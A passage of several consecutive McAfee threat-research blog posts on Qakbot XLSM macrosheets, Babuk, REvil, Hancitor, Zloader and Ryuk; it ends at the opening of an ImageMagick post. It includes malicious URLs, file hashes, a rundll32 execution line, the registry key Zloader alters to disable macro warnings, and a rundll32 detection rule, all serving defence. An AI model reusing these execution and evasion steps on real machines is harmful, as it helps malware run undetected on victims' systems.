Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.
With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections.
Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc.
The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware.
XLSM Structure
XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros.
Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below.
We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets.
These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog.
To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e.
The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function.
On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.
On digging deeper, we see its internal workbook.xml file.
Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.
As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6.
These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings.
Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags.
<v> (Cell Value) tags are used to store values inside the cell. <f> (Cell Formula) tags are used to store formulas inside the cell. Now in the above sheet <v> tags contain the cached formula value based on the last time formula was calculated. Formula cells contain formulas like “GOTO(Sheet2!H13)”, now as we can see here attackers can store different formulas while referencing cells from different sheets. These operations are done to produce more and more obfuscated sheets and evade AV signatures.
When the user clicks on the enable content button the execution starts from the Auto_Open cell, after which each sheet formula will start to execute one by one. The final deobfuscated string is shown below.
Here the URLDownloadToFIleA API is used to download the payload and the string “JJCCBB” is used to specify data types to call the API. There are multiple URI’s and from one of them, the DLL payload gets downloaded and saved as ..\\lertio.cersw. This DLL payload is then executed using rundll32. All these malicious activities get carried out using various excel based formulas like REGISTER, EXEC, etc.
McAfee’s Endpoint products detect this variant of malware as below:
The main malicious document with SHA256 (91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e) is detected as “Downloader-FCEI” with current DAT files.
Additionally, with the help of McAfee’s Expert rule feature, customers can add a custom behavior rule, specific to this infection pattern.
Rule {
Process {
Include OBJECT_NAME { -v “EXCEL.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “rundll32.exe” }
Include PROCESS_CMD_LINE { -v “* ..\\*.*,DllRegisterServer” }
Include -access “CREATE”
}
}
}
McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the Macro execution for Office files. We advise everyone to read our blog on these types of malicious XLSM files and their obfuscation techniques to understand more about the threat.
Different techniques & tactics are used by the malware to propagate, and we mapped these with the MITRE ATT&CK platform.
XLSM malware has been seen delivering many malware families. Many major families like Trickbot, Gozi, IcedID, Qakbot are using these XLSM macrosheets in high quantity to deliver their payloads. These attacks are still evolving and keep on using various obfuscated strings to exploit various windows utilities like rundll32, regsvr32, PowerShell, etc.
Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is only safe to enable them when the document received is from a trusted source and macros serve an expected purpose.
The post XLSM Malware with MacroSheets appeared first on McAfee Blogs.
Co-written with Northwave’s Noël Keijzer.
For a long time, ransomware gangs were mostly focused on Microsoft Windows operating systems. Yes, we observed the occasional dedicated Unix or Linux based ransomware, but cross-platform ransomware was not happening yet. However, cybercriminals never sleep and in recent months we noticed that several ransomware gangs were experimenting with writing their binaries in the cross-platform language Golang (Go).
Our worst fears were confirmed when Babuk announced on an underground forum that it was developing a cross-platform binary aimed at Linux/UNIX and ESXi or VMware systems. Many core backend systems in companies are running on these *nix operating systems or, in the case of virtualization, think about the ESXi hosting several servers or the virtual desktop environment.
We touched upon this briefly in our previous blog, together with the many coding mistakes the Babuk team is making.
Even though Babuk is relatively new to the scene, its affiliates have been aggressively infecting high-profile victims, despite numerous problems with the binary which led to a situation in which files could not be retrieved, even if payment was made.
Ultimately, the difficulties faced by the Babuk developers in creating ESXi ransomware may have led to a change in business model, from encryption to data theft and extortion.
Indeed, the design and coding of the decryption tool are poorly developed, meaning if companies decide to pay the ransom, the decoding process for encrypted files can be really slow and there is no guarantee that all files will be recoverable.
McAfee’s EPP solution covers Babuk ransomware with an array of prevention and detection techniques.
McAfee ENS ATP provides behavioral content focusing on proactively detecting the threat while also delivering known IoCs for both online and offline detections. For DAT based detections, the family will be reported as Ransom-Babuk!. ENS ATP adds 2 additional layers of protection thanks to JTI rules that provide attack surface reduction for generic ransomware behaviors and RealProtect (static and dynamic) with ML models targeting ransomware threats.
Updates on indicators are pushed through GTI, and customers of Insights will find a threat-profile on this ransomware family that is updated when new and relevant information becomes available.
Initially, in our research the entry vector and the complete tactics, techniques and procedures (TTPs) used by the criminals behind Babuk remained unclear.
However, when its affiliate recruitment advertisement came online, and given the specific underground meeting place where Babuk posts, defenders can expect similar TTPs with Babuk as with other Ransomware-as-a-Service families.
In its recruitment posting Babuk specifically asks for individuals with pentest skills, so defenders should be on the lookout for traces and behaviors that correlate to open source penetration testing tools like winPEAS, Bloodhound and SharpHound, or hacking frameworks such as CobaltStrike, Metasploit, Empire or Covenant. Also be on the lookout for abnormal behavior of non-malicious tools that have a dual use, such as those that can be used for things like enumeration and execution, (e.g., ADfind, PSExec, PowerShell, etc.) We advise everyone to read our blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
Looking at other similar Ransomware-as-a-Service families we have seen that certain entry vectors are quite common amongst ransomware criminals:
When it comes to the actual ransomware binary, we strongly advise updating and upgrading your endpoint protection, as well as enabling options like tamper protection and rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
Learn more about how Babuk is transitioning away from an encryption/ransom model to one focused on pure data theft and extortion in our detailed technical analysis.
The post Babuk: Biting off More than they Could Chew by Aiming to Encrypt VM and *nix Systems? appeared first on McAfee Blogs.
In 2021 ransomware attacks have been dominant among the bigger cyber security stories. Hence, I was not surprised to see that McAfee’s June 2021 Threat report is primarily focused on this topic.
This report provides a large range of statistics using the McAfee data lake behind MVISION Insights, including the Top MITRE ATT&CK Techniques. In this report I highlight the following MITRE techniques:
I also want to highlight one obvious technique which remains common across all ransomware attacks at the end of the attack lifecycle:
Traditional defences based on anti-malware signatures and web protection against known malicious domains and IP addresses can be insufficient to protect against these techniques. Therefore, for the rest of this article, I want to cover a few recent McAfee innovations which can make a big difference in the fight against ransomware.
The following three ransomware techniques are linked to web access:
Moreover, most ransomware attacks require some form of access to a command-and-control server to be fully operational.
McAfee Remote Browser Isolation (RBI) ensures no malicious web content ever even reaches enterprise endpoints’ web browsers by isolating all browsing activity to unknown and risky websites into a remote virtual environment. With spear phishing links, RBI works best when running the mail client in the web browser. The user systems cannot be compromised if web code or files cannot run on them, making RBI the most powerful form of web threat protection available. RBI is included in most McAfee United Cloud Edge (UCE) licenses at no additional cost.
Figure 1. Concept of Remote Browser Isolation
McAfee Client Proxy (MCP) controls all web traffic, including ransomware web traffic initiated without a web browser by tools like MEGAsync and Rclone. MCP is part of McAfee United Cloud Edge (UCE).
The following ransomware techniques are linked to fileless attacks:
Many ransomware attacks also use PowerShell.
Figure 2. Example of an attack kill chain with fileless
McAfee provides a large range of technologies which protect against fileless attack methods, including McAfee ENS (Endpoint Security) Exploit prevention and McAfee ENS 10.7 Adaptive Threat Protection (ATP). Here are few examples of Exploit Prevention and ATP rules:
Regarding the use on Mimikatz in the example above, the new McAfee ENS 10.7 ATP Credential Theft Protection is designed to cease attacks against Windows LSASS so that you do not need to rely on the detection of Mimikatz.
Figure 3. Example of Exploit Prevention rules related to Mimikatz
ENS 10.7 ATP is now included in most McAfee Endpoint Security licenses at no additional cost.
To prevent initial access, you also need to reduce the risks linked to the following technique:
For example, RDP (Windows Remote Desktop Protocol) is a common initial access used by ransomware attacks. You may have a policy that already prohibits or restricts RDP but how do you know it is enforced on every endpoint?
With MVISION EDR (Endpoint Detection and Response) you can perform a real time search across all managed systems to see what is happening right now.
Figure 4. MVISION EDR Real-time Search to verify if RDP is enabled or disabled on a system
Figure 5. MVISION EDR Real-time Search to identify systems with active connections on RDP
MVISION EDR maintains a history of network connections inbound and outbound from the client. Performing an historical search for network traffic could identify systems that actively communicated on port 3389 to unauthorized addresses, potentially detecting attempts at exploitation.
MVISION EDR also enables proactive monitoring by a security analyst. The Monitoring Dashboard helps the analyst in the SOC quickly triage suspicious behavior.
For more EDR use cases related to ransomware see this blog article.
With MVISION Insights you do not need to wait for the latest McAfee Threat Report to be informed on the latest ransomware campaigns and threat profiles. With MVISION Insights you can easily meet the following use cases:
These use cases are covered in the webinar How to fight Ransomware with the latest McAfee innovations.
Regarding the following technique from the McAfee June 2021 Threat Report:
Credentials from Web Browsers (Credential Access)
MVISION Insights can display the detections in your environment as well as prevalence statistics.
Figure 6. Prevalence statistics from MVISION Insights on the LAZAGNE tool
MVISION Insights is included in several Endpoint Security licenses.
Now we are left with the last technique in the attack lifecycle:
McAfee ENS 10.7 Adaptive Threat Protection (ATP) provides dynamic application containment of suspicious processes and enhanced remediation with an automatic rollback of the ransomware encryption.
Figure 7. Configuration of Rollback remediation in ENS 10.7
You can see how files impacted by ransomware can be restored through Enhanced Remediation in this video. For more best practices on tuning Dynamic Application Containment rules, check the knowledge base article here.
Last year McAfee released this blog article covering additional capabilities from McAfee Endpoint Security (ENS), Endpoint Detection and Response (EDR) and the Management Console (ePO) against ransomware including:
To increase your protection against ransomware you might already be entitled to:
If you are, you should start using them as soon as possible, and if you are not, contact us.
The post Fighting new Ransomware Techniques with McAfee’s Latest Innovations appeared first on McAfee Blogs.
The overarching threat facing cyber organizations today is a highly skilled asymmetric enemy, well-funded and resolute in his task and purpose. You never can exactly tell how they will come at you, but come they will. It’s no different than fighting a kinetic foe in that, before you fight, you must choose your ground and study your enemy’s tendencies.
A lot of focus has been placed on tools and updating technology, but often we are pushed back on our heels and find ourselves fighting a defensive action.
But what if we change? How do we do that?
The first step is to study the battlefield, understand what you’re trying to protect and lay down your protection strategy. Pretty basic right??
Your technology strategy is very important, but you must embrace and create a thorough Cyber Threat Intelligence (CTI) doctrine which must take on many forms.
First, there is data, and lots of it. However, the data must take specific forms to research and detect nascent elements where the adversary is attempting to catch you napping or give you the perception that the activity you see is normal.
As you pool this data, it must be segmented into layers and literally mapped to geographic locations across the globe. The data is classified distinctly as malicious and reputations are applied. This is a vital step in that it enables analytical programs, along with human intelligence analysts to apply the data within intelligence reports which themselves can take on many forms.
Once the data takes an analytic form, then it allows organizations to forensically piece together a picture of an attack. This process is painstakingly tedious but necessary to understand your enemy and his tendencies. Tools are useful, but it’s always the human in the loop that will recognize the tactical and strategic implications of an adversary’s moves. Once you see the picture, it becomes real, and then you’re able to prepare your enterprise for the conflict that follows.
Your early warning and sensing strategy must incorporate this philosophy. You must sense, collect, exploit, process, produce and utilize each intelligence product that renders useful information. It’s this process that will enable any organization to move decisively to and stay “left of boom”.
The McAfee Advanced Programs Group (APG) was created eight years ago to support intelligence organizations that embrace and maintain a strong CTI stance. Its philosophy is to blend people, processes, data and a strong intelligence heritage to enable our customers to understand the cyber battlefield to proactively protect, but “maneuver” when necessary to avoid an attack.
APG applies three key disciplines or mission areas to provide this support.
First, we developed an internal tool called the Advanced Threat Landscape Analysis System (ATLAS). This enables our organization to apply our malicious threat detections to a geospatial map display to see where we’re seeing malicious data. ATLAS draws from our global network of billions of threat sensors to see trillions of detections each day, but enables our analysts to concentrate on the most malicious activity. Then we’re better able to research and report accurate threat landscape information.
The second leg in the stool is our analytical staff, the true cyber ninjas that apply decades of experience supporting HUMINT operations across the globe and a well-established intelligence-based targeting philosophy to the cyber environment. The result is a true understanding of the cyber battlefield enabling the leadership to make solid “intelligence-based” decisions.
Finally, the third leg is our ability to develop custom solutions and interfaces to adapt in a very custom way our ability to see and study data. We have the ability to leverage 2.8 billion malicious detections, along with 20 other distinct malicious feeds, to correlate many different views, just not the McAfee view. We interpret agnostically.
These three legs provide APG a powerful CTI advantage allowing our customers to adapt and respond to events by producing threat intelligence dynamically. When using this service it allows the customer to be fully situationally aware in a moments notice (visual command and control). Access to the data alone is an immense asset to any organization. This allows each customer not only to know what their telemetry is, but also provides real time insights into the entire world ecosystem. Finally, the human analysis alone is immensely valuable. It allows for the organizations to read and see/understand what it all means (the who, what, where and why). “The so what!!”
The post An Overall Philosophy on the Use of Critical Threat Intelligence appeared first on McAfee Blogs.
This blog was written byVaradharajan Krishnasamy, Karthickkumar, Sakshi Jaiswal
Ransomware attacks are one of the most common cyber-attacks among organizations; due to an increase in Ransomware-as-a-service (RaaS) on the black market. RaaS provides readily available ransomware to cyber criminals and is an effective way for attackers to deploy a variety of ransomware in a short period of time.
Usually, RaaS model developers sell or rent their sophisticated ransomware framework on the black market. After purchasing the license from the ransomware developer, attackers spread the ransomware to other users, infect them, encrypt files, and demand a huge ransom payment in Bitcoin. Also, there are discounts available on the black market for ransomware frameworks in which the ransom money paid is shared between developers and the buyer for every successful extortion of ransom from the victims. These frameworks reduce the time and effort of creating a new ransomware from scratch using latest and advanced programming languages.
REvil is one of the most famous ransomware-as-a-service (RaaS) providers. The group released the Sodinokibi ransomware in 2019, and McAfee has since observed REvil using a DLL side loading technique to execute ransomware code. The actual ransomware is a dropper that contains two embedded PE files in the resource section. After successful execution, it drops two additional files named MsMpEng.exe and MpSvc.dll in the temp folder. The file MsMpEng.exe is a Microsoft digitally signed file having a timestamp of March 2014 (Figure 1).
Figure-1: Image of Microsoft Digitally signed File
The malware uses DLL side loading to execute the ransomware code. This technique allows the attacker to execute malicious DLLs that spoof legitimate ones. This technique has been used in many APTs to avoid detection. In this attack, MsMpEng.exe loads the functions of MpSvc.dll during the time of execution. However, the attacker has replaced the clean MpSvc.dll with the ransomware binary of the same name. The malicious DLL file has an export function named ServiceCrtMain, which is further called and executed by the Microsoft Defender file. This is a clever technique used by the attacker to execute malicious file using the Microsoft digitally signed binary.
Figure-2: Calling Export function
The ransomware uses the RC4 algorithm to decrypt the config file which has all the information that supports the encryption process.
Figure-3: REvil Config File
Then it performs a UI language check using GetSystemDefaultUILanguage/GetUserDefaultUILanguage functions and compares it with a hardcoded list which contains the language ID of several countries as shown in below image.
Figure-4: Language Check
Countries excluded from this ransomware attack are mentioned below:
| GetUserDefaultUILanguage | Country name |
| 0x419 | Russian |
| 0x422 | Ukranian |
| 0x423 | Belarusian |
| 0x428 | Tajik (Cyrilic from Tajikistan) |
| 0x42B | Armenian |
| 0x42C | Azerbaijani (Latin from Azerbaijan) |
| 0x437 | Georgian |
| 0x43F | Kazakh from Kazakhastan |
| 0x440 | Kyrgyzstan |
| 0x442 | Turkmenistan |
| 0x443 | Latin from Uzbekistan |
| 0x444 | Tatar from Russia Federation |
| 0x818 | Romanian from Moldova |
| 0x819 | Russian from Moldova |
| 0x82C | Cyrilic from Azerbaijan |
| 0x843 | Cyrilic from Uzbekistan |
| 0x45A | Syriac |
| 0x281A | Cyrilic from Serbia |
Additionally, the ransomware checks the users keyboardlayout and it skips the ransomware infection in the machine’s which are present in the country list above.
Figure-5: Keyboardlayout check
Ransomware creates a Global mutex in the infected machine to mark its presence.
Figure-6: Global Mutex
After creating the mutex, the ransomware deletes the files in the recycle bin using the SHEmptyRecycleBinW function to make sure that no files are restored post encryption.
Figure-7: Empty Recycle Bin
Then it enumerates all the active services with the help of the EnumServicesStatusExW function and deletes services if the service name matches the list present in the config file. The image below shows the list of services checked by the ransomware.
Figure-8: Service List check
It calls the CreateToolhelp32Snapshot, Process32FirstW and Process32NextW functions to enumerate running processes and terminates those matching the list present in the config file. The following processes will be terminated.
Then, it encrypts files using the Salsa20 algorithm and uses multithreading for fast encryption of the files. Later, background wallpaper will be set with a ransom message.
Figure-9: Desktop Wallpaper
Finally, the ransomware displays ransom notes in the victim’s machine. Below is an image of readme.txt which is dropped in the infected machine.
Figure-10: Ransom Note
| Type | Value | Detection Name | Detection Package Version (V3) |
| Loader | 5a97a50e45e64db41049fd88a75f2dd2 | REvil.f | 4493 |
| Dropped DLL | 78066a1c4e075941272a86d4a8e49471 | REvil.e | 4493 |
Expert rules allow McAfee customers to extend their coverage. This rule covers this REvil ransomware behaviour.
| Technique ID | Tactic | Technique Details |
| T1059.003 | Execution | Command and Scripting Interpreter |
| T1574.002 | DLL Side-Loading | Hijack Execution Flow |
| T1486 | Impact | Data Encrypted for Impact |
| T1036.005 | Defense Evasion | Masquerading |
| T1057 | Discovery | Process Discovery |
| T1082 | Discovery | System Information Discovery |
McAfee observed that the REvil group has utilized oracle web logic vulnerability (CVE-2019-2725) to spread the ransomware last year and used kaseya’s VSA application recently for their ransomware execution, with the help of DLL sideloading. REvil uses many vulnerability applications for ransomware infections, however the encryption technique remains the same. McAfee recommends making periodic backups of files and keeping them isolated off the network and having an always updated antivirus in place.
The post REvil Ransomware Uses DLL Sideloading appeared first on McAfee Blogs.
This blog was written by Vallabh Chole & Oliver Devane
Over the years, the cybersecurity industry has seen many threats get taken down, such as the Emotet takedown in January 2021. It doesn’t usually take long for another threat to attempt to fill the gap left by the takedown. Hancitor is one such threat.
Like Emotet, Hancitor can send Malspams to spread itself and infect as many users as possible. Hancitor’s main purpose is to distribute other malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware and Zeppelin Ransomware. The dropped Cobalt Strike beacons can then be used to move laterally around the infected environment and also execute other malware such as ransomware.
This blog will focus on a new technique used by Hancitor created to prevent crawlers from accessing malicious documents used to download and execute the Hancitor payload.
The infection flow of Hancitor is shown below:
A victim will receive an email with a fake DocuSign template to entice them to click a link. This link leads him to feedproxy.google.com, a service that works similar to an RSS Feed and enables site owners to publish site updates to its users.
When accessing the link, the victim is redirected to the malicious site. The site will check the User-Agent of the browser and if it is a non-Windows User-Agent the victim will be redirected to google.com.
If the victim is on a windows machine, the malicious site will create a cookie using JavaScript and then reload the site.
The code to create the cookie is shown below:
The above code will write the Timezone to value ‘n’ and the time offset to UTC in value ‘d’ and set it into cookie header for an HTTP GET Request.
For example, if this code is executed on a machine with timezone set as BST the values would be:
d = 60
n = “Europe/London”
These values may be used to prevent further malicious activity or deploy a different payload depending on geo location.
Upon reloading, the site will check if the cookie is present and if it is, it will present them with the malicious document.
A WireShark capture of the malicious document which includes the cookie values is shown below:
The document will prompt them to enable macros and, when enabled, it will download the Hancitor DLL and then load it with Rundll32.
Hancitor will then communicate with its C&C and deploy further payloads. If running on a Windows domain, it will download and deploy a Cobalt Strike beacon.
Hancitor will also deploy SendSafe which is a spam module, and this will be used to send out malicious spam emails to infect more victims.
With its ability to send malicious spam emails and deploy Cobalt Strike beacons, we believe that Hancitor will be a threat closely linked to future ransomware attacks much like Emotet was. This threat also highlights the importance of constantly monitoring the threat landscape so that we can react quickly to evolving threats and protect our customers from them.
IOCs
| IOC | Type | IOC | Coverage | Content Version |
| Malicious Document | SHA256 | e389a71dc450ab4077f5a23a8f798b89e4be65373d2958b0b0b517de43d06e3b | W97M/Dropper.hx
|
4641 |
| Hancitor DLL | SHA256 | c703924acdb199914cb585f5ecc6b18426b1a730f67d0f2606afbd38f8132ad6
|
Trojan-Hancitor.a | 4644 |
| Domain hosting Malicious Document | URL | http[:]//onyx-food[.]com/coccus.php | RED | N/A |
| Domain hosting Malicious Document
|
URL | http[:]//feedproxy[.]google[.]com/~r/ugyxcjt/~3/4gu1Lcmj09U/coccus.php | RED | N/A |
Mitre
| Technique ID | Tactic | Technique details |
| T1566.002 | Initial Access | Spam mail with links |
| T1204.001 | Execution | User Execution by opening link. |
| T1204.002 | Execution | Executing downloaded doc |
| T1218 | Defence Evasion | Signed Binary Execution Rundll32 |
| T1055 | Defence Evasion | Downloaded binaries are injected into svchost for execution |
| T1482 | Discovery | Domain Trust Discovery |
| T1071 | C&C | HTTP protocol for communication |
| T1132 | C&C | Data is base64 encoded and xored |
The post Hancitor Making Use of Cookies to Prevent URL Scraping appeared first on McAfee Blogs.
This blog was written by Kiran Raj & Kishan N.
In the last few years, Microsoft Office macro malware using social engineering as a means for malware infection has been a dominant part of the threat landscape. Malware authors continue to evolve their techniques to evade detection. These techniques involve utilizing macro obfuscation, DDE, living off the land tools (LOLBAS), and even utilizing legacy supported XLS formats.
McAfee Labs has discovered a new technique that downloads and executes malicious DLLs (Zloader) without any malicious code present in the initial spammed attachment macro. The objective of this blog is to cover the technical aspect of the newly observed technique.
Infection map
The section below contains the detailed technical analysis of this technique.
The malware arrives through a phishing email containing a Microsoft Word document as an attachment. When the document is opened and macros are enabled, the Word document, in turn, downloads and opens another password-protected Microsoft Excel document.
After downloading the XLS file, the Word VBA reads the cell contents from XLS and creates a new macro for the same XLS file and writes the cell contents to XLS VBA macros as functions.
Once the macros are written and ready, the Word document sets the policy in the registry to Disable Excel Macro Warning and invokes the malicious macro function from the Excel file. The Excel file now downloads the Zloader payload. The Zloader payload is then executed using rundll32.exe.
Figure-1: flowchart of the Infection chain
Here is how the face of the document looks when we open the document (figure 2). Normally, the macros are disabled to run by default by Microsoft Office. The malware authors are aware of this and hence present a lure image to trick the victims guiding them into enabling the macros.
Figure-2: Image of Word Document Face
The userform combo-box components present in the Word document stores all the content required to connect to the remote Excel document including the Excel object, URL, and the password required to open the Excel document. The URL is stored in the Combobox in the form of broken strings which will be later concatenated to form a complete clear string.
Figure-3: URL components (right side) and the password to open downloaded Excel document (“i5x0wbqe81s”) present in user-form components.
Figure-4: Image of the VBA editor
In the above image of macros (figure 4), the code is attempting to download and open the Excel file stored in the malicious domain. Firstly, it creates an Excel application object by using CreateObject() function and reading the string from Combobox-1 (ref figure-2) of Userform-1 which has the string “excel. Application” stored in it. After creating the object, it uses the same object to open the Excel file directly from the malicious URL along with the password without saving the file on the disk by using Workbooks.Open() function.
Figure-5: Word Macro code that reads strings present in random cells in Excel sheet.
The above snippet (figure 5) shows part of the macro code that is reading the strings from the Excel cells.
For Example:
Ixbq = ifk.sheets(3).Cells(44,42).Value
The code is storing the string present in sheet number 3 and the cell location (44,42) into the variable “ixbq”. The Excel.Application object that is assigned to variable “ifk” is used to access sheets and cells from the Excel file that is opened from the malicious domain.
In the below snippet (figure 6), we can observe the strings stored in the variables after being read from the cells. We can observe that it has string related to the registry entry “HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM” that is used to disable trust access for VBA into Excel and the string “Auto_Open3” that is going to be the entry point of the Excel macro execution.
We can also see the strings “ThisWorkbook”, “REG_DWORD”, “Version”, “ActiveVBProject” and few random functions as well like “Function c4r40() c4r40=1 End Function”. These macro codes cannot be detected using static detection since the content is formed dynamically on run time.
Figure-6: Value of variables after reading Excel cells.
After extracting the contents from the Excel cells, the parent Word file creates a new VBA module in the downloaded Excel file by writing the retrieved contents. Basically, the parent Word document is retrieving the cell contents and writing them to XLS macros.
Once the macro is formed and ready, it modifies the below RegKey to disable trust access for VBA on the victim machine to execute the function seamlessly without any Microsoft Office Warnings.
HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Excel\Security\AccessVBOM
After writing macro contents to Excel file and disabling the trust access, function ’Auto_Open3()’ from newly written excel VBA will be called which downloads zloader dll from the ‘hxxp://heavenlygem.com/22.php?5PH8Z’ with extension .cpl
Figure-7: Image of ’Auto_Open3()’ function
The downloaded dll is saved in %temp% folder and executed by invoking rundll32.exe.
Figure-8: Image of zloader dll invoked by rundll32.exe
Rundll32.exe shell32.dll,Control_RunDLL “<path downloaded dll>”
Windows Rundll32 commands loads and runs 32-bit DLLs that can be used for directly invoking specified functions or used to create shortcuts. In the above command line, the malware uses “Rundll32.exe shell32.dll,Control_RunDLL” function to invoke control.exe (control panel) and passes the DLL path as a parameter, therefore the downloaded DLL is executed by control.exe.
The below image (figure 9) is the face of the password-protected Excel file that is hosted on the server. We can observe random cells storing chunks of strings like “RegDelete”, “ThisWorkbook”, “DeleteLines”, etc.
These strings present in worksheet cells are formed as VBA macro in the later stage.
Figure-9: Image of Remote Excel file.
McAfee’s Endpoint products detect this variant of malware and files dropped during the infection process.
The main malicious document with SHA256 (210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf) is detected with V3 package version – 4328.0 as “W97M/Downloader.djx”. The final Zloader payload with SHA-256 (c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2)which is a DLL is detected by signature “Zloader-FCVP” with V3 package version – 4327.0
Additionally, with the help of McAfee’s Expert rule feature, customers can strengthen the security by adding custom Expert rules based on the behavior patterns of the malware. The below EP rule is specific to this infection pattern.
McAfee advises all users to avoid opening any email attachments or clicking any links present in the mail without verifying the identity of the sender. Always disable the macro execution for Office files. We advise everyone to read our blog on this new variant of Zloader and its infection cycle to understand more about the threat.
Different techniques & tactics are used by the malware to propagate and we mapped these with the MITRE ATT&CK platform.
| Type | Value | Scanner | Detection Name | Detection Package Version (V3) |
| Main Word Document | 210f12d1282e90aadb532e7e891cbe4f089ef4f3ec0568dc459fb5d546c95eaf | ENS | W97M/Downloader.djx | 4328 |
| Downloaded dll | c55a25514c0d860980e5f13b138ae846b36a783a0fdb52041e3a8c6a22c6f5e2 | ENS | Zloader-FCVP | 4327 |
| URL to download XLS | hxxp://heavenlygem.com/11.php | WebAdvisor
|
Blocked | N/A |
| URL to download dll | hxxp://heavenlygem.com/22.php?5PH8Z | WebAdvisor
|
Blocked | N/A |
Malicious documents have been an entry point for most malware families and these attacks have been evolving their infection techniques and obfuscation, not just limiting to direct downloads of payload from VBA, but creating agents dynamically to download payload as we discussed in this blog. Usage of such agents in the infection chain is not only limited to Word or Excel, but further threats may use other living off the land tools to download its payloads.
Due to security concerns, macros are disabled by default in Microsoft Office applications. We suggest it is safe to enable them only when the document received is from a trusted source.
The post Zloader With a New Infection Technique appeared first on McAfee Blogs.
Ryuk is a ransomware that encrypts a victim’s files and requests payment in Bitcoin cryptocurrency to release the keys used for encryption. Ryuk is used exclusively in targeted ransomware attacks.
Ryuk was first observed in August 2018 during a campaign that targeted several enterprises. Analysis of the initial versions of the ransomware revealed similarities and shared source code with the Hermes ransomware. Hermes ransomware is a commodity malware for sale on underground forums and has been used by multiple threat actors.
To encrypt files Ryuk utilizes a combination of symmetric AES (256-bit) encryption and asymmetric RSA (2048-bit or 4096-bit) encryption. The symmetric key is used to encrypt the file contents, while the asymmetric public key is used to encrypt the symmetric key. Upon payment of the ransom the corresponding asymmetric private key is released, allowing the encrypted files to be decrypted.
Because of the targeted nature of Ryuk infections, the initial infection vectors are tailored to the victim. Often seen initial vectors are spear-phishing emails, exploitation of compromised credentials to remote access systems and the use of previous commodity malware infections. As an example of the latter, the combination of Emotet and TrickBot, have frequently been observed in Ryuk attacks.
Ryuk is detected as Ransom-Ryuk![partial-hash].
Defenders should be on the lookout for traces and behaviours that correlate to open source pen test tools such as winPEAS, Lazagne, Bloodhound and Sharp Hound, or hacking frameworks like Cobalt Strike, Metasploit, Empire or Covenant, as well as abnormal behavior of non-malicious tools that have a dual use. These seemingly legitimate tools (e.g., ADfind, PSExec, PowerShell, etc.) can be used for things like enumeration and execution. Subsequently, be on the lookout for abnormal usage of Windows Management Instrumentation WMIC (T1047). We advise everyone to check out the following blogs on evidence indicators for a targeted ransomware attack (Part1, Part2).
When it comes to the actual ransomware binary, we strongly advise updating and upgrading endpoint protection, as well as enabling options like tamper protection and Rollback. Please read our blog on how to best configure ENS 10.7 to protect against ransomware for more details.
Ryuk ransomware is used exclusively in targeted attacks
Latest sample now targets webservers
New ransom note prompts victims to install Tor browser to facilitate contact with the actors
After file encryption, the ransomware will print 50 copies of the ransom note on the default printer
Learn more about Ryuk ransomware, including Indicators of Compromise, Mitre ATT&CK techniques and Yara Rule, by reading our detailed technical analysis.
The post New Ryuk Ransomware Sample Targets Webservers appeared first on McAfee Blogs.
ImageMagick is a hugely popular open source software that is used in lot of systems around the world. It is available for the Windows, Linux, MacOS platforms as well as Android and iOS. It is used for editing, creating or converting various digital image formats and supports various formats like PNG, JPEG, WEBP, TIFF, HEIC and PDF, among others.
